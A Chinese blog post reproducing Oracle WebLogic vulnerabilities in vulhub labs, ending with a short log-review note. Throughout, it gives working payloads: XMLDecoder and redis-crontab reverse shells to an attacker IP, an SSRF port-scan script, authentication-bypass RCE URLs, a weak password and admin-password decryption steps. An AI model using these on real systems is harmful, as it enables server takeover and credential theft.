大柚子

这世界不过如此

注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。

组件描述

WebLogic是没过Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式的WEB应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和JavaEnterorise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

漏洞列表

注:笔者这里漏洞环境全部是vulhub靶场环境

weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

概述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,

触发漏洞url如下: http://xx.xx.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

影响版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

复现过程

访问如下URL:http://192.168.52.134:7001/wls-wsat/CoordinatorPortType11,如果出现如下界面就说明可能存在漏洞

POC测试

使用burp抓包,构造如下数据包:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.52.134:7001
Content-Length: 673
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

注:wls-wsat路径 /root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/

访问:http://192.168.52.134:7001/wls-wsat/test.txt,上传成功

反弹shell

将上述poc请求包中body部分内容替换如下:

注:其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击IP/端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
 </soapenv:Envelope>

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

概述

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

影响版本

Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

复现过程

直接利用网上的Java反序列化终极测试工具,获取基本信息

因为Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要进行编码

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {echo,YmFxxxxxxNTQuxxxxxxMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}

流量分析

首先建立socket连接,使用T3协议进行握手

握手成功后发送payload

Weblogic 任意文件上传漏洞(CVE-2018-2894)

概述

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

两个页面分别为/ws_utc/begin.do、/ws_utc/config.do

影响版本

weblogic 10.3.6.0

weblogic 12.1.3.0

weblogic 12.2.1.2

weblogic 12.2.1.3

复现过程

/ws_utc/config.do上传漏洞

触发条件

  • 需要知道部署应用的web目录
  • ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证

访问/ws_utc/config.do,修改当前的工作目录为如下目录,因为css目录访问是无需权限的

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击左侧”安全”菜单,添加Keystore,设置默认名字和密码,选中要上传的文件,F12查看网络元素,提交即可

点击提交后,可以使用bp抓u拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳id,F12.

访问http://xx.xx.xx.xx:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

弱口令&任意文件下载

概述

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

影响版本

weblogic 10.3.6版本

复现过程

弱密码

环境启动后,访问http://192.200.100.159:7001/console,可以跳转到Weblogic后台登录界面:

环境存在弱口令:


用户名:weblogic
密码:Oracle@123

weblogic常用弱口令:


http:&#47;&#47;cirt.net/passwords?criteria=weblogic
任意文件读取漏洞利用

假设不存在弱口令,如何进行渗透?
本次环境前台模拟了一个任意文件下载漏洞,访问http://192.168.100.159:7001/hello/file.jsp?path=/etc/passwd

读取后台用户密文和密钥文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密

时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml

在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,

用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件

config.xml是base_domain的全局配置文件,所以内容比较多,找到其中的

<node-manager-password-encrypted>的值,即为加密后的管理员密码

拿到SerializedSystemIni.dat文件后,使用工具weblogic_decrypt.jar进行直接解密。

选择SerializedSystemIni.dat文件,填入密文,即可解密。


工具地址:https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt
更多可参考:https://www.freebuf.com/articles/web/220147.html

SSRF漏洞

概述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响范围

weblogic 版本10.0.2

weblogic 版本10.3.6

复现过程

在url处访问ip:7001/uddiexplorer/,可查看uddiexplorer应用

漏洞位置存在于“/uddiexplorer/SearchPublicRegistries.jsp”,在表单中随意输入内容使用burp抓包,发送到重放

上述抓包得到的是个POST包,,利用点为“operator”参数,在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如

http://127.0.0.1:
7001:
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.100.159:7001
Content-Length: 139
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.100.159:7001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.100.159:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; ADMINCONSOLESESSION=TLt7v2fBt3nHXNxkcrY3cSp5NLPXRyBGKpdkpWTy0hzFdH7wTbdF!-1909665907; JSESSIONID=JXyNv2fWLCxkmVyJNMYyPrJcnhS83Dcz3TNLpwQR28k4NvrGSQzQ!-1909665907
Connection: close

operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search

可访问的端口将会得到错误,一般是返回status code(如上图),如果访问的非http协议,则会返回

did not have a valid SOAP content-type
(这个我这没复现出来,报的错误不一样)。

访问不存在的端口时,将返回could not connect HTTP server

可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,

而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),这里使用脚本进行探测

import thread
import time
import re
import requests

def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.100.159:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass

if __name__ == '__main__':
    ip = "172.21.0"
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"</pre>

通过发送三条redis命令,将反弹shell脚本写入/etc/crontab:


set 1 "\n\n\n\n* * * * * root bash -i &gt;&amp; /dev/tcp/172.18.0.1/21 0&gt;&amp;1\n\n\n\n"<br>config set dir /etc/<br>config set dbfilename crontab<br>save

将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意:换行符是”\r\n”,也就是”%0D%0A”)


%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61

把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后

利用方式无非就是redis的未授权,这里就不一一展示了。

Weblogic 未授权命令执行(CVE-2020-14882/14883)

概述

Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。

此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

复现过程

利用脚本:https://github.com/GGyao/CVE-2020-14882_ALL

在正常访问console后台时会提示输入帐号密码

对于其他路径也限制了访问,可以看到返回403

通过未授权访问,“http://your-ip:7001/console/css/%252e%252e%252fconsole.portal”则可以绕过验证直接访问后台(注:‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台)

可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过

com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
利用方式一:

通过

com.tangosol.coherence.mvel2.sh.ShellSession
,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因为10.3.6并不存在
com.tangosol.coherence.mvel2.sh.ShellSession
类。

直接访问如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令:

```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;_pageLabel=&amp;handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```

进入容器,可以发现

touch /tmp/success1
已成功执行:

或者执行带回显的payload:


GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String%5B%5D%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String%5B%5D%7B%22cmd.exe%22,%20%22/c%22,%20cmd%7D%20:%20new%20String%5B%5D%7B%22/bin/sh%22,%20%22-c%22,%20cmd%7D;if(cmd%20!=%20null%20)%7B%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22%5C%5CA%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();%7D%20currentThread.interrupt();') HTTP/1.1
Host: 192.168.100.159:7001
cmd:whoami
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=6dG4rztOCa2Qi2cIxbLFsF47GRbtoGNEnoVTsfMF0XSNtHd_vrIY!-406911739; ADMINCONSOLESESSION=TLt7v2fBt3nHXNxkcrY3cSp5NLPXRyBGKpdkpWTy0hzFdH7wTbdF!-1909665907; JSESSIONID=JXyNv2fWLCxkmVyJNMYyPrJcnhS83Dcz3TNLpwQR28k4NvrGSQzQ!-1909665907
Connection: close

利用方式二:

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如

http://example.com/rce.xml

&lt;?xml version="1.0" encoding="UTF-8" ?>
&lt;beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    &lt;bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        &lt;constructor-arg>
          &lt;list>
            &lt;value>bash&lt;/value>
            &lt;value>-c&lt;/value>
            &lt;value>&lt;!&#91;CDATA&#91;touch /tmp/success2]]>&lt;/value>
          &lt;/list>
        &lt;/constructor-arg>
    &lt;/bean>
&lt;/beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:


http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;_pageLabel=&amp;handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml"

应急排查

weblogic的日志配置大致如下,配置日志记录服务可登录后台后在控制台界面操作,在排查过程中我们主要关注“access.log”日志,该日志会记录攻击的IP,请求URL,服务器响应包。

排查的关键字,主要是上述漏洞复现过程中涉及的利用路径。

参考来源

https://www.jianshu.com/p/de09368b9e8d

https://cloud.tencent.com/developer/article/1944737

https://paper.seebug.org/1395/

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。